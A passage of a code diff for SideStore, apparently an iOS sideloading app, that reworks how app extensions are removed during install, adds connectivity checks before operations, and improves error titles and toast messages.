firstSentence = NSLocalizedString("Non-developer Apple IDs are limited to creating 10 App IDs per week.", comment: "")
}
let message = firstSentence + " " + NSLocalizedString("Would you like to remove this app's extensions so they don't count towards your limit? There are \(extensions.count) Extensions", comment: "")
let alertController = UIAlertController(title: NSLocalizedString("App Contains Extensions", comment: ""), message: message, preferredStyle: .alert)
alertController.addAction(UIAlertAction(title: UIAlertAction.cancel.title, style: UIAlertAction.cancel.style, handler: { (action) in
completion(.failure(OperationError.cancelled))
}))
alertController.addAction(UIAlertAction(title: NSLocalizedString("Keep App Extensions", comment: ""), style: .default) { (action) in
completion(.success(()))
})
alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove App Extensions", comment: ""), style: .destructive) { (action) in
do
{
for appExtension in application.appExtensions
{
print("Deleting extension \(appExtension.bundleIdentifier)")
try FileManager.default.removeItem(at: appExtension.fileURL)
}
completion(.success(()))
}
catch
{
completion(.failure(error))
}
})
if let presentingViewController {
alertController.addAction(UIAlertAction(title: NSLocalizedString("Choose App Extensions", comment: ""), style: .default) { (action) in
let popoverContentController = AppExtensionViewHostingController(extensions: extensions) { (selection) in
do
{
for appExtension in selection
{
print("Deleting extension \(appExtension.bundleIdentifier)")
try FileManager.default.removeItem(at: appExtension.fileURL)
}
completion(.success(()))
}
catch
{
completion(.failure(error))
}
return nil
}
let suiview = popoverContentController.view!
suiview.translatesAutoresizingMaskIntoConstraints = false
popoverContentController.modalPresentationStyle = .popover
if let popoverPresentationController = popoverContentController.popoverPresentationController {
popoverPresentationController.sourceView = presentingViewController.view
popoverPresentationController.sourceRect = CGRect(x: 50, y: 50, width: 4, height: 4)
popoverPresentationController.delegate = popoverContentController
presentingViewController.present(popoverContentController, animated: true)
}
})
presentingViewController.present(alertController, animated: true)
}
}
}
private func _install(_ app: AppProtocol, operation appOperation: AppOperation, group: RefreshGroup, context: InstallAppOperationContext? = nil, additionalEntitlements: [ALTEntitlement: Any] = [.increasedDebuggingMemoryLimit: ALTEntitlement.increasedDebuggingMemoryLimit, .increasedMemoryLimit: ALTEntitlement.increasedMemoryLimit, .extendedVirtualAddressing: ALTEntitlement.extendedVirtualAddressing], cacheApp: Bool = true, completionHandler: @escaping (Result<InstalledApp, Error>) -> Void) -> Progress
{
let progress = Progress.discreteProgress(totalUnitCount: 100)
@@ -1026,7 +1213,81 @@ private extension AppManager
}
verifyOperation.addDependency(downloadOperation)
/* Remove App Extensions */
let removeAppExtensionsOperation = RSTAsyncBlockOperation { [weak self] (operation) in
do
{
if let error = context.error
{
throw error
}
/*
guard case .install = appOperation else {
operation.finish()
return
}
*/
guard let extensions = context.app?.appExtensions else {
throw OperationError.invalidParameters("AppManager._install.removeAppExtensionsOperation: context.app?.appExtensions is nil")
}
guard let currentApp = context.app else {
throw OperationError.invalidParameters("AppManager._install.removeAppExtensionsOperation: context.app is nil")
}
self?.removeAppExtensions(from: currentApp,
existingApp: app as? InstalledApp,
extensions: extensions,
context.authenticatedContext.presentingViewController
) { result in
switch result {
case .success(): break
case .failure(let error): context.error = error
}
operation.finish()
}
}
catch
{
context.error = error
operation.finish()
}
}
removeAppExtensionsOperation.addDependency(verifyOperation)
/* Refresh Anisette Data */
let refreshAnisetteDataOperation = FetchAnisetteDataOperation(context: group.context)
refreshAnisetteDataOperation.resultHandler = { (result) in
switch result
{
case .failure(let error): context.error = error
case .success(let anisetteData): group.context.session?.anisetteData = anisetteData
}
}
refreshAnisetteDataOperation.addDependency(removeAppExtensionsOperation)
/* Fetch Provisioning Profiles */
let fetchProvisioningProfilesOperation = FetchProvisioningProfilesOperation(context: context)
fetchProvisioningProfilesOperation.additionalEntitlements = additionalEntitlements
fetchProvisioningProfilesOperation.resultHandler = { (result) in
switch result
{
case .failure(let error): context.error = error
case .success(let provisioningProfiles):
context.provisioningProfiles = provisioningProfiles
print("PROVISIONING PROFILES \(context.provisioningProfiles)")
}
}
fetchProvisioningProfilesOperation.addDependency(refreshAnisetteDataOperation)
progress.addChild(fetchProvisioningProfilesOperation.progress, withPendingUnitCount: 5)
/* Deactivate Apps (if necessary) */
let deactivateAppsOperation = RSTAsyncBlockOperation { [weak self] (operation) in
do
@@ -1042,8 +1303,21 @@ private extension AppManager
{
throw error
}
guard let profiles = context.provisioningProfiles else {
throw OperationError.invalidParameters("AppManager._install.deactivateAppsOperation: context.provisioningProfiles is nil")
}
if !profiles.contains(where: { $1.isFreeProvisioningProfile == true }) {
operation.finish()
return
}
guard let app = context.app, let presentingViewController = context.authenticatedContext.presentingViewController else { throw OperationError.invalidParameters }
guard
let app = context.app,
let presentingViewController = context.authenticatedContext.presentingViewController
else {
throw OperationError.invalidParameters("AppManager._install.deactivateAppsOperation: self.context.app or context.authenticatedContext.presentingViewController is nil")
}
self?.deactivateApps(for: app, presentingViewController: presentingViewController) { result in
switch result
@@ -1061,8 +1335,7 @@ private extension AppManager
operation.finish()
}
}
deactivateAppsOperation.addDependency(verifyOperation)
deactivateAppsOperation.addDependency(fetchProvisioningProfilesOperation)
/* Patch App */
let patchAppOperation = RSTAsyncBlockOperation { operation in
@@ -1083,7 +1356,9 @@ private extension AppManager
throw error
}
guard let app = context.app else { throw OperationError.invalidParameters }
guard let app = context.app else {
throw OperationError.invalidParameters("AppManager._install.patchAppOperation: context.app is nil")
}
guard let isUntetherRequired = app.bundle.infoDictionary?[Bundle.Info.untetherRequired] as? Bool,
let minimumiOSVersionString = app.bundle.infoDictionary?[Bundle.Info.untetherMinimumiOSVersion] as? String,
@@ -1136,32 +1411,6 @@ private extension AppManager
patchAppOperation.addDependency(deactivateAppsOperation)
/* Refresh Anisette Data */
let refreshAnisetteDataOperation = FetchAnisetteDataOperation(context: group.context)
refreshAnisetteDataOperation.resultHandler = { (result) in
switch result
{
case .failure(let error): context.error = error
case .success(let anisetteData): group.context.session?.anisetteData = anisetteData
}
}
refreshAnisetteDataOperation.addDependency(patchAppOperation)
/* Fetch Provisioning Profiles */
let fetchProvisioningProfilesOperation = FetchProvisioningProfilesOperation(context: context)
fetchProvisioningProfilesOperation.additionalEntitlements = additionalEntitlements
fetchProvisioningProfilesOperation.resultHandler = { (result) in
switch result
{
case .failure(let error): context.error = error
case .success(let provisioningProfiles): context.provisioningProfiles = provisioningProfiles
}
}
fetchProvisioningProfilesOperation.addDependency(refreshAnisetteDataOperation)
progress.addChild(fetchProvisioningProfilesOperation.progress, withPendingUnitCount: 5)
/* Resign */
let resignAppOperation = ResignAppOperation(context: context)
resignAppOperation.resultHandler = { (result) in
@@ -1171,7 +1420,7 @@ private extension AppManager
case .success(let resignedApp): context.resignedApp = resignedApp
}
}
resignAppOperation.addDependency(fetchProvisioningProfilesOperation)
resignAppOperation.addDependency(patchAppOperation)
progress.addChild(resignAppOperation.progress, withPendingUnitCount: 20)
@@ -1214,7 +1463,7 @@ private extension AppManager
progress.addChild(installOperation.progress, withPendingUnitCount: 30)
installOperation.addDependency(sendAppOperation)
let operations = [downloadOperation, verifyOperation, deactivateAppsOperation, patchAppOperation, refreshAnisetteDataOperation, fetchProvisioningProfilesOperation, resignAppOperation, sendAppOperation, installOperation]
let operations = [downloadOperation, verifyOperation, removeAppExtensionsOperation, refreshAnisetteDataOperation, fetchProvisioningProfilesOperation, deactivateAppsOperation, patchAppOperation, resignAppOperation, sendAppOperation, installOperation]
group.add(operations)
self.run(operations, context: group.context)
@@ -1228,6 +1477,24 @@ private extension AppManager
let context = AppOperationContext(bundleIdentifier: app.bundleIdentifier, authenticatedContext: group.context)
context.app = ALTApplication(fileURL: app.fileURL)
//App-Extensions: Ensure DB data and disk state must match
let dbAppEx: Set<InstalledExtension> = Set(app.appExtensions)
let diskAppEx: Set<ALTApplication> = Set(context.app!.appExtensions)
let diskAppExNames = diskAppEx.map { $0.bundleIdentifier }
let dbAppExNames = dbAppEx.map{ $0.bundleIdentifier }
let isMatching = Set(dbAppExNames) == Set(diskAppExNames)
let validateAppExtensionsOperation = RSTAsyncBlockOperation { op in
let errMessage = "AppManager.refresh: App Extensions in DB and Disk are matching: \(isMatching)\n"
+ "AppManager.refresh: dbAppEx: \(dbAppExNames); diskAppEx: \(String(describing: diskAppExNames))\n"
print(errMessage)
if(!isMatching){
completionHandler(.failure(OperationError.refreshAppFailed(message: errMessage)))
}
op.finish()
}
/* Fetch Provisioning Profiles */
let fetchProvisioningProfilesOperation = FetchProvisioningProfilesOperation(context: context)
fetchProvisioningProfilesOperation.resultHandler = { (result) in
@@ -1238,6 +1505,8 @@ private extension AppManager
}
}
progress.addChild(fetchProvisioningProfilesOperation.progress, withPendingUnitCount: 60)
fetchProvisioningProfilesOperation.addDependency(validateAppExtensionsOperation)
/* Refresh */
let refreshAppOperation = RefreshAppOperation(context: context)
@@ -1247,14 +1516,21 @@ private extension AppManager
case .success(let installedApp):
completionHandler(.success(installedApp))
case .failure(ALTServerError.unknownRequest), .failure(OperationError.appNotFound):
case .failure(MinimuxerError.ProfileInstall):
completionHandler(.failure(OperationError.noWiFi))
case .failure(ALTServerError.unknownRequest), .failure(OperationError.appNotFound(name: app.name)):
// Fall back to installation if AltServer doesn't support newer provisioning profile requests,
// OR if the cached app could not be found and we may need to redownload it.
app.managedObjectContext?.performAndWait { // Must performAndWait to ensure we add operations before we return.
let installProgress = self._install(app, operation: operation, group: group) { (result) in
completionHandler(result)
if minimuxer.ready() {
let installProgress = self._install(app, operation: operation, group: group) { (result) in
completionHandler(result)
}
progress.addChild(installProgress, withPendingUnitCount: 40)
} else {
completionHandler(.failure(OperationError.noWiFi))
}
progress.addChild(installProgress, withPendingUnitCount: 40)
}
case .failure(let error):
@@ -1264,7 +1540,7 @@ private extension AppManager
progress.addChild(refreshAppOperation.progress, withPendingUnitCount: 40)
refreshAppOperation.addDependency(fetchProvisioningProfilesOperation)
let operations = [fetchProvisioningProfilesOperation, refreshAppOperation]
let operations = [validateAppExtensionsOperation, fetchProvisioningProfilesOperation, refreshAppOperation]
group.add(operations)
self.run(operations, context: group.context)
@@ -1521,7 +1797,7 @@ private extension AppManager
}
guard let application = ALTApplication(fileURL: app.fileURL) else {
completionHandler(.failure(OperationError.appNotFound))
completionHandler(.failure(OperationError.appNotFound(name: app.name)))
return progress
}
@@ -1533,8 +1809,8 @@ private extension AppManager
let temporaryDirectoryURL = context.temporaryDirectory.appendingPathComponent("AltBackup-" + UUID().uuidString)
try FileManager.default.createDirectory(at: temporaryDirectoryURL, withIntermediateDirectories: true, attributes: nil)
guard let altbackupFileURL = Bundle.main.url(forResource: "AltBackup", withExtension: "ipa") else { throw OperationError.appNotFound }
guard let altbackupFileURL = Bundle.main.url(forResource: "AltBackup", withExtension: "ipa") else { throw OperationError.appNotFound(name: app.name) }
let unzippedAppBundleURL = try FileManager.default.unzipAppBundle(at: altbackupFileURL, toDirectory: temporaryDirectoryURL)
guard let unzippedAppBundle = Bundle(url: unzippedAppBundleURL) else { throw OperationError.invalidApp }
@@ -1672,11 +1948,35 @@ private extension AppManager
do { try installedApp.managedObjectContext?.save() }
catch { print("Error saving installed app.", error) }
}
catch
catch let nsError as NSError
{
var appName: String!
if let app = operation.app as? (NSManagedObject & AppProtocol) {
if let context = app.managedObjectContext {
context.performAndWait {
appName = app.name
}
} else {
appName = NSLocalizedString("Unknown App", comment: "")
}
} else {
appName = operation.app.name
}
let localizedTitle: String
switch operation {
case .install: localizedTitle = String(format: NSLocalizedString("Failed to Install %@", comment: ""), appName)
case .refresh: localizedTitle = String(format: NSLocalizedString("Failed to Refresh %@", comment: ""), appName)
case .update: localizedTitle = String(format: NSLocalizedString("Failed to Update %@", comment: ""), appName)
case .activate: localizedTitle = String(format: NSLocalizedString("Failed to Activate %@", comment: ""), appName)
case .deactivate: localizedTitle = String(format: NSLocalizedString("Failed to Deactivate %@", comment: ""), appName)
case .backup: localizedTitle = String(format: NSLocalizedString("Failed to Backup %@", comment: ""), appName)
case .restore: localizedTitle = String(format: NSLocalizedString("Failed to Restore %@ Backup", comment: ""), appName)
}
let error = nsError.withLocalizedTitle(localizedTitle)
group.set(.failure(error), forAppWithBundleIdentifier: operation.bundleIdentifier)
self.log(error, for: operation)
self.log(error, operation: operation.loggedErrorOperation, app: operation.app)
}
}
@@ -1693,8 +1993,8 @@ private extension AppManager
let trigger = UNTimeIntervalNotificationTrigger(timeInterval: timeIntervalUntilNotification, repeats: false)
let content = UNMutableNotificationContent()
content.title = NSLocalizedString("AltStore Expiring Soon", comment: "")
content.body = NSLocalizedString("AltStore will expire in 24 hours. Open the app and refresh it to prevent it from expiring.", comment: "")
content.title = NSLocalizedString("SideStore Expiring Soon", comment: "")
content.body = NSLocalizedString("SideStore will expire in 24 hours. Open the app and refresh it to prevent it from expiring.", comment: "")
content.sound = .default
let request = UNNotificationRequest(identifier: AppManager.expirationWarningNotificationID, content: content, trigger: trigger)
@@ -1704,7 +2004,7 @@ private extension AppManager
func log(_ error: Error, for operation: AppOperation)
{
// Sanitize NSError on same thread before performing background task.
let sanitizedError = (error as NSError).sanitizedForCoreData()
let sanitizedError = (error as NSError).sanitizedForSerialization()
let loggedErrorOperation: LoggedError.Operation = {
switch operation

View File

@@ -22,13 +22,27 @@ extension AppManager
var managedObjectContext: NSManagedObjectContext?
var errorDescription: String? {
if let error = self.primaryError
{
return error.localizedDescription
var localizedTitle: String? {
var localizedTitle: String?
self.managedObjectContext?.performAndWait {
if self.sources?.count == 1 {
localizedTitle = NSLocalizedString("Failed to refresh Store", comment: "")
} else if self.errors.count == 1 {
guard let source = self.errors.keys.first else { return }
localizedTitle = String(format: NSLocalizedString("Failed to refresh Source '%@'", comment: ""), source.name)
} else {
localizedTitle = String(format: NSLocalizedString("Failed to refresh %@ Sources", comment: ""), NSNumber(value: self.errors.count))
}
}
else
{
return localizedTitle
}
var errorDescription: String? {
if let error = self.primaryError {
return error.localizedDescription
} else if let error = self.errors.values.first, self.errors.count == 1 {
return error.localizedDescription
} else {
var localizedDescription: String?
self.managedObjectContext?.performAndWait {
@@ -67,8 +81,14 @@ extension AppManager
}
var errorUserInfo: [String : Any] {
guard let error = self.errors.values.first, self.errors.count == 1 else { return [:] }
return [NSUnderlyingErrorKey: error]
let errors = Array(self.errors.values)
var userInfo = [String: Any]()
userInfo[ALTLocalizedTitleErrorKey] = self.localizedTitle
userInfo[NSUnderlyingErrorKey] = self.primaryError
if #available(iOS 14.5, *), !errors.isEmpty {
userInfo[NSMultipleUnderlyingErrorsKey] = errors
}
return userInfo
}
init(_ error: Error)

View File

@@ -10,10 +10,12 @@ import UIKit
import MobileCoreServices
import Intents
import Combine
import UniformTypeIdentifiers
import AltStoreCore
import AltSign
import Roxas
import minimuxer
import Nuke
@@ -153,6 +155,13 @@ final class MyAppsViewController: UICollectionViewController
@IBAction func unwindToMyAppsViewController(_ segue: UIStoryboardSegue)
{
}
var minimuxerStatus: Bool {
guard minimuxer.ready() else {
ToastView(error: (OperationError.noWiFi as NSError).withLocalizedTitle("No WiFi or VPN!")).show(in: self)
return false
}
return true
}
}
private extension MyAppsViewController
@@ -186,7 +195,7 @@ private extension MyAppsViewController
func makeUpdatesDataSource() -> RSTFetchedResultsCollectionViewPrefetchingDataSource<InstalledApp, UIImage>
{
let fetchRequest = InstalledApp.updatesFetchRequest()
fetchRequest.sortDescriptors = [NSSortDescriptor(keyPath: \InstalledApp.storeApp?.latestVersion?.date, ascending: true),
fetchRequest.sortDescriptors = [NSSortDescriptor(keyPath: \InstalledApp.storeApp?.latestSupportedVersion?.date, ascending: false),
NSSortDescriptor(keyPath: \InstalledApp.name, ascending: true)]
fetchRequest.returnsObjectsAsFaults = false
@@ -195,21 +204,21 @@ private extension MyAppsViewController
dataSource.cellIdentifierHandler = { _ in "UpdateCell" }
dataSource.cellConfigurationHandler = { [weak self] (cell, installedApp, indexPath) in
guard let self = self else { return }
guard let app = installedApp.storeApp, let latestVersion = app.latestVersion else { return }
guard let app = installedApp.storeApp, let latestSupportedVersion = app.latestSupportedVersion else { return }
let cell = cell as! UpdateCollectionViewCell
cell.layoutMargins.left = self.view.layoutMargins.left
cell.layoutMargins.right = self.view.layoutMargins.right
cell.tintColor = app.tintColor ?? .altPrimary
cell.versionDescriptionTextView.text = app.versionDescription
cell.versionDescriptionTextView.text = latestSupportedVersion.localizedDescription
cell.bannerView.iconImageView.image = nil
cell.bannerView.iconImageView.isIndicatingActivity = true
cell.bannerView.configure(for: app)
let versionDate = Date().relativeDateString(since: latestVersion.date, dateFormatter: self.dateFormatter)
let versionDate = Date().relativeDateString(since: latestSupportedVersion.date, dateFormatter: self.dateFormatter)
cell.bannerView.subtitleLabel.text = versionDate
let appName: String
@@ -223,7 +232,7 @@ private extension MyAppsViewController
appName = app.name
}
cell.bannerView.accessibilityLabel = String(format: NSLocalizedString("%@ %@ update. Released on %@.", comment: ""), appName, latestVersion.version, versionDate)
cell.bannerView.accessibilityLabel = String(format: NSLocalizedString("%@ %@ update. Released on %@.", comment: ""), appName, latestSupportedVersion.version, versionDate)
cell.bannerView.button.isIndicatingActivity = false
cell.bannerView.button.addTarget(self, action: #selector(MyAppsViewController.updateApp(_:)), for: .primaryActionTriggered)
@@ -327,21 +336,25 @@ private extension MyAppsViewController
let currentDate = Date()
let numberOfDays = installedApp.expirationDate.numberOfCalendarDays(since: currentDate)
let numberOfDaysText: String
if numberOfDays == 1
{
numberOfDaysText = NSLocalizedString("1 day", comment: "")
}
else
{
numberOfDaysText = String(format: NSLocalizedString("%@ days", comment: ""), NSNumber(value: numberOfDays))
}
let formatter = DateComponentsFormatter()
formatter.unitsStyle = .full
formatter.includesApproximationPhrase = false
formatter.includesTimeRemainingPhrase = false
formatter.allowedUnits = [.day, .hour, .minute]
formatter.maximumUnitCount = 1
cell.bannerView.button.setTitle(formatter.string(from: currentDate, to: installedApp.expirationDate)?.uppercased(), for: .normal)
cell.bannerView.button.setTitle(numberOfDaysText.uppercased(), for: .normal)
cell.bannerView.button.accessibilityLabel = String(format: NSLocalizedString("Refresh %@", comment: ""), installedApp.name)
cell.bannerView.accessibilityLabel? += ". " + String(format: NSLocalizedString("Expires in %@", comment: ""), numberOfDaysText)
formatter.includesTimeRemainingPhrase = true
cell.bannerView.accessibilityLabel? += ". " + (formatter.string(from: currentDate, to: installedApp.expirationDate) ?? NSLocalizedString("Unknown", comment: "")) + " "
// Make sure refresh button is correct size.
cell.layoutIfNeeded()
@@ -522,11 +535,9 @@ private extension MyAppsViewController
guard !failures.isEmpty else { return }
let toastView: ToastView
if let failure = failures.first, results.count == 1
{
toastView = ToastView(error: failure.value)
ToastView(error: failure.value).show(in: self)
}
else
{
@@ -544,11 +555,10 @@ private extension MyAppsViewController
let error = failures.first?.value as NSError?
let detailText = error?.localizedFailure ?? error?.localizedFailureReason ?? error?.localizedDescription
toastView = ToastView(text: localizedText, detailText: detailText)
let toastView = ToastView(text: localizedText, detailText: detailText, opensLog: true)
toastView.preferredDuration = 4.0
toastView.show(in: self)
}
toastView.show(in: self)
}
self.refreshGroup = nil
@@ -639,6 +649,8 @@ private extension MyAppsViewController
@IBAction func refreshAllApps(_ sender: UIBarButtonItem)
{
guard minimuxerStatus else { return }
self.isRefreshingAllApps = true
self.collectionView.collectionViewLayout.invalidateLayout()
@@ -682,8 +694,7 @@ private extension MyAppsViewController
self.collectionView.reloadItems(at: [indexPath])
case .failure(let error):
let toastView = ToastView(error: error)
toastView.show(in: self)
ToastView(error: error, opensLog: true).show(in: self)
self.collectionView.reloadItems(at: [indexPath])
@@ -701,18 +712,11 @@ private extension MyAppsViewController
@IBAction func sideloadApp(_ sender: UIBarButtonItem)
{
let supportedTypes: [String]
guard minimuxerStatus else { return }
let supportedTypes = UTType.types(tag: "ipa", tagClass: .filenameExtension, conformingTo: nil)
if let types = UTTypeCreateAllIdentifiersForTag(kUTTagClassFilenameExtension, "ipa" as CFString, nil)?.takeRetainedValue()
{
supportedTypes = (types as NSArray).map { $0 as! String }
}
else
{
supportedTypes = ["com.apple.itunes.ipa"] // Declared by the system.
}
let documentPickerViewController = UIDocumentPickerViewController(documentTypes: supportedTypes, in: .import)
let documentPickerViewController = UIDocumentPickerViewController(forOpeningContentTypes: supportedTypes, asCopy: true)
documentPickerViewController.delegate = self
self.present(documentPickerViewController, animated: true, completion: nil)
}
@@ -779,7 +783,7 @@ private extension MyAppsViewController
}
let unzipProgress = Progress.discreteProgress(totalUnitCount: 1)
let unzipAppOperation = BlockOperation {
let unzipAppOperation = BlockOperation {
do
{
if let error = context.error
@@ -787,7 +791,9 @@ private extension MyAppsViewController
throw error
}
guard let fileURL = context.fileURL else { throw OperationError.invalidParameters }
guard let fileURL = context.fileURL else {
throw OperationError.invalidParameters("MyAppsViewController.sideloadApp.unzipAppOperation: context.fileURL is nil")
}
defer {
try? FileManager.default.removeItem(at: fileURL)
}
@@ -811,38 +817,7 @@ private extension MyAppsViewController
{
unzipAppOperation.addDependency(downloadOperation)
}
let removeAppExtensionsProgress = Progress.discreteProgress(totalUnitCount: 1)
let removeAppExtensionsOperation = RSTAsyncBlockOperation { [weak self] (operation) in
do
{
if let error = context.error
{
throw error
}
guard let application = context.application else { throw OperationError.invalidParameters }
DispatchQueue.main.async {
self?.removeAppExtensions(from: application) { (result) in
switch result
{
case .success: removeAppExtensionsProgress.completedUnitCount = 1
case .failure(let error): context.error = error
}
operation.finish()
}
}
}
catch
{
context.error = error
operation.finish()
}
}
removeAppExtensionsOperation.addDependency(unzipAppOperation)
progress.addChild(removeAppExtensionsProgress, withPendingUnitCount: 5)
let installProgress = Progress.discreteProgress(totalUnitCount: 100)
let installAppOperation = RSTAsyncBlockOperation { (operation) in
do
@@ -852,7 +827,9 @@ private extension MyAppsViewController
throw error
}
guard let application = context.application else { throw OperationError.invalidParameters }
guard let application = context.application else {
throw OperationError.invalidParameters("MyAppsViewController.sideloadApp.installAppOperation: context.application is nil")
}
let group = AppManager.shared.install(application, presentingViewController: self) { (result) in
switch result
@@ -891,22 +868,23 @@ private extension MyAppsViewController
completion(.failure((OperationError.cancelled)))
case .failure(let error):
let toastView = ToastView(error: error)
toastView.show(in: self)
ToastView(error: error, opensLog: true).show(in: self)
completion(.failure(error))
}
}
}
installAppOperation.addDependency(unzipAppOperation)
progress.addChild(installProgress, withPendingUnitCount: 65)
installAppOperation.addDependency(removeAppExtensionsOperation)
self.sideloadingProgress = progress
self.sideloadingProgressView.progress = 0
self.sideloadingProgressView.isHidden = false
self.sideloadingProgressView.observedProgress = self.sideloadingProgress
let operations = [downloadOperation, unzipAppOperation, removeAppExtensionsOperation, installAppOperation].compactMap { $0 }
let operations = [downloadOperation, unzipAppOperation, installAppOperation].compactMap { $0 }
self.operationQueue.addOperations(operations, waitUntilFinished: false)
}
@@ -934,11 +912,11 @@ private extension MyAppsViewController
if UserDefaults.standard.activeAppLimitIncludesExtensions
{
message = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) apps and app extensions. Inactive apps don't count towards your total, but cannot be opened until activated.", comment: "")
message = NSLocalizedString("Non-developer Apple IDs are limited to 3 apps and app extensions. Inactive apps don't count towards your total, but cannot be opened until activated.", comment: "")
}
else
{
message = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) apps. Inactive apps are backed up and uninstalled so they don't count towards your total, but will be reinstalled with all their data when activated again.", comment: "")
message = NSLocalizedString("Non-developer Apple IDs are limited to 3 apps. Inactive apps are backed up and uninstalled so they don't count towards your total, but will be reinstalled with all their data when activated again.", comment: "")
}
let alertController = UIAlertController(title: NSLocalizedString("What are inactive apps?", comment: ""), message: message, preferredStyle: .alert)
@@ -955,49 +933,6 @@ private extension MyAppsViewController
cell.bannerView.iconImageView.isIndicatingActivity = false
}
func removeAppExtensions(from application: ALTApplication, completion: @escaping (Result<Void, Error>) -> Void)
{
guard !application.appExtensions.isEmpty else { return completion(.success(())) }
let firstSentence: String
if UserDefaults.standard.activeAppLimitIncludesExtensions
{
firstSentence = NSLocalizedString("Non-developer Apple IDs are limited to \(InstalledApp.freeAccountActiveAppsLimit) active apps and app extensions.", comment: "")
}
else
{
firstSentence = NSLocalizedString("Non-developer Apple IDs are limited to creating 10 App IDs per week.", comment: "")
}
let message = firstSentence + " " + NSLocalizedString("Would you like to remove this app's extensions so they don't count towards your limit?", comment: "")
let alertController = UIAlertController(title: NSLocalizedString("App Contains Extensions", comment: ""), message: message, preferredStyle: .alert)
alertController.addAction(UIAlertAction(title: UIAlertAction.cancel.title, style: UIAlertAction.cancel.style, handler: { (action) in
completion(.failure(OperationError.cancelled))
}))
alertController.addAction(UIAlertAction(title: NSLocalizedString("Keep App Extensions", comment: ""), style: .default) { (action) in
completion(.success(()))
})
alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove App Extensions", comment: ""), style: .destructive) { (action) in
do
{
for appExtension in application.appExtensions
{
try FileManager.default.removeItem(at: appExtension.fileURL)
}
completion(.success(()))
}
catch
{
completion(.failure(error))
}
})
self.present(alertController, animated: true, completion: nil)
}
}
private extension MyAppsViewController
@@ -1007,13 +942,14 @@ private extension MyAppsViewController
UIApplication.shared.open(installedApp.openAppURL) { success in
guard !success else { return }
let toastView = ToastView(error: OperationError.openAppFailed(name: installedApp.name))
toastView.show(in: self)
ToastView(error: OperationError.openAppFailed(name: installedApp.name), opensLog: true).show(in: self)
}
}
func refresh(_ installedApp: InstalledApp)
{
guard minimuxerStatus else { return }
let previousProgress = AppManager.shared.refreshProgress(for: installedApp)
guard previousProgress == nil else {
previousProgress?.cancel()
@@ -1035,6 +971,8 @@ private extension MyAppsViewController
func activate(_ installedApp: InstalledApp)
{
guard minimuxerStatus else { return }
func finish(_ result: Result<InstalledApp, Error>)
{
do
@@ -1055,13 +993,12 @@ private extension MyAppsViewController
DispatchQueue.main.async {
installedApp.isActive = false
let toastView = ToastView(error: error)
toastView.show(in: self)
ToastView(error: error, opensLog: true).show(in: self)
}
}
}
if UserDefaults.standard.activeAppsLimit != nil, #available(iOS 13, *)
if !UserDefaults.standard.isAppLimitDisabled && UserDefaults.standard.activeAppsLimit != nil, #available(iOS 13, *)
{
// UserDefaults.standard.activeAppsLimit is only non-nil on iOS 13.3.1 or later, so the #available check is just so we can use Combine.
@@ -1110,7 +1047,8 @@ private extension MyAppsViewController
func deactivate(_ installedApp: InstalledApp, completionHandler: ((Result<InstalledApp, Error>) -> Void)? = nil)
{
guard installedApp.isActive else { return }
guard installedApp.isActive, minimuxerStatus else { return }
installedApp.isActive = false
AppManager.shared.deactivate(installedApp, presentingViewController: self) { (result) in
@@ -1123,13 +1061,12 @@ private extension MyAppsViewController
}
catch
{
print("Failed to activate app:", error)
print("Failed to deactivate app:", error)
DispatchQueue.main.async {
installedApp.isActive = true
let toastView = ToastView(error: error)
toastView.show(in: self)
ToastView(error: error, opensLog: true).show(in: self)
}
}
@@ -1151,7 +1088,7 @@ private extension MyAppsViewController
message = NSLocalizedString("This will also erase all backup data for this app.", comment: "")
}
let alertController = UIAlertController(title: title, message: message, preferredStyle: .actionSheet)
let alertController = UIAlertController(title: title, message: message, preferredStyle: .alert)
alertController.addAction(.cancel)
alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove", comment: ""), style: .destructive, handler: { (action) in
AppManager.shared.remove(installedApp) { (result) in
@@ -1160,8 +1097,7 @@ private extension MyAppsViewController
case .success: break
case .failure(let error):
DispatchQueue.main.async {
let toastView = ToastView(error: error)
toastView.show(in: self)
ToastView(error: error, opensLog: true).show(in: self)
}
}
}
@@ -1172,6 +1108,8 @@ private extension MyAppsViewController
func backup(_ installedApp: InstalledApp)
{
guard minimuxerStatus else { return }
let title = NSLocalizedString("Start Backup?", comment: "")
let message = NSLocalizedString("This will replace any previous backups. Please leave SideStore open until the backup is complete.", comment: "")
@@ -1193,9 +1131,8 @@ private extension MyAppsViewController
print("Failed to back up app:", error)
DispatchQueue.main.async {
let toastView = ToastView(error: error)
toastView.show(in: self)
ToastView(error: error, opensLog: true).show(in: self)
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
}
}
@@ -1211,6 +1148,8 @@ private extension MyAppsViewController
func restore(_ installedApp: InstalledApp)
{
guard minimuxerStatus else { return }
let message = String(format: NSLocalizedString("This will replace all data you currently have in %@.", comment: ""), installedApp.name)
let alertController = UIAlertController(title: NSLocalizedString("Are you sure you want to restore this backup?", comment: ""), message: message, preferredStyle: .actionSheet)
alertController.addAction(.cancel)
@@ -1228,8 +1167,7 @@ private extension MyAppsViewController
print("Failed to restore app:", error)
DispatchQueue.main.async {
let toastView = ToastView(error: error)
toastView.show(in: self)
ToastView(error: error, opensLog: true).show(in: self)
}
}
}
@@ -1246,8 +1184,11 @@ private extension MyAppsViewController
{
guard let backupURL = FileManager.default.backupDirectoryURL(for: installedApp) else { return }
let documentPicker = UIDocumentPickerViewController(url: backupURL, in: .exportToService)
documentPicker.delegate = self
let documentPicker = UIDocumentPickerViewController(forExporting: [backupURL], asCopy: true)
// Don't set delegate to avoid conflicting with import callbacks.
// documentPicker.delegate = self
self.present(documentPicker, animated: true, completion: nil)
}
@@ -1301,8 +1242,7 @@ private extension MyAppsViewController
print("Failed to change app icon.", error)
DispatchQueue.main.async {
let toastView = ToastView(error: error)
toastView.show(in: self)
ToastView(error: error, opensLog: true).show(in: self)
}
}
}
@@ -1311,14 +1251,28 @@ private extension MyAppsViewController
@available(iOS 14, *)
func enableJIT(for installedApp: InstalledApp)
{
let sidejitenabled = UserDefaults.standard.sidejitenable
if #unavailable(iOS 17) {
guard minimuxerStatus else { return }
}
if #available(iOS 17, *), !sidejitenabled {
ToastView(error: (OperationError.tooNewError as NSError).withLocalizedTitle("No iOS 17 On Device JIT!"), opensLog: true).show(in: self)
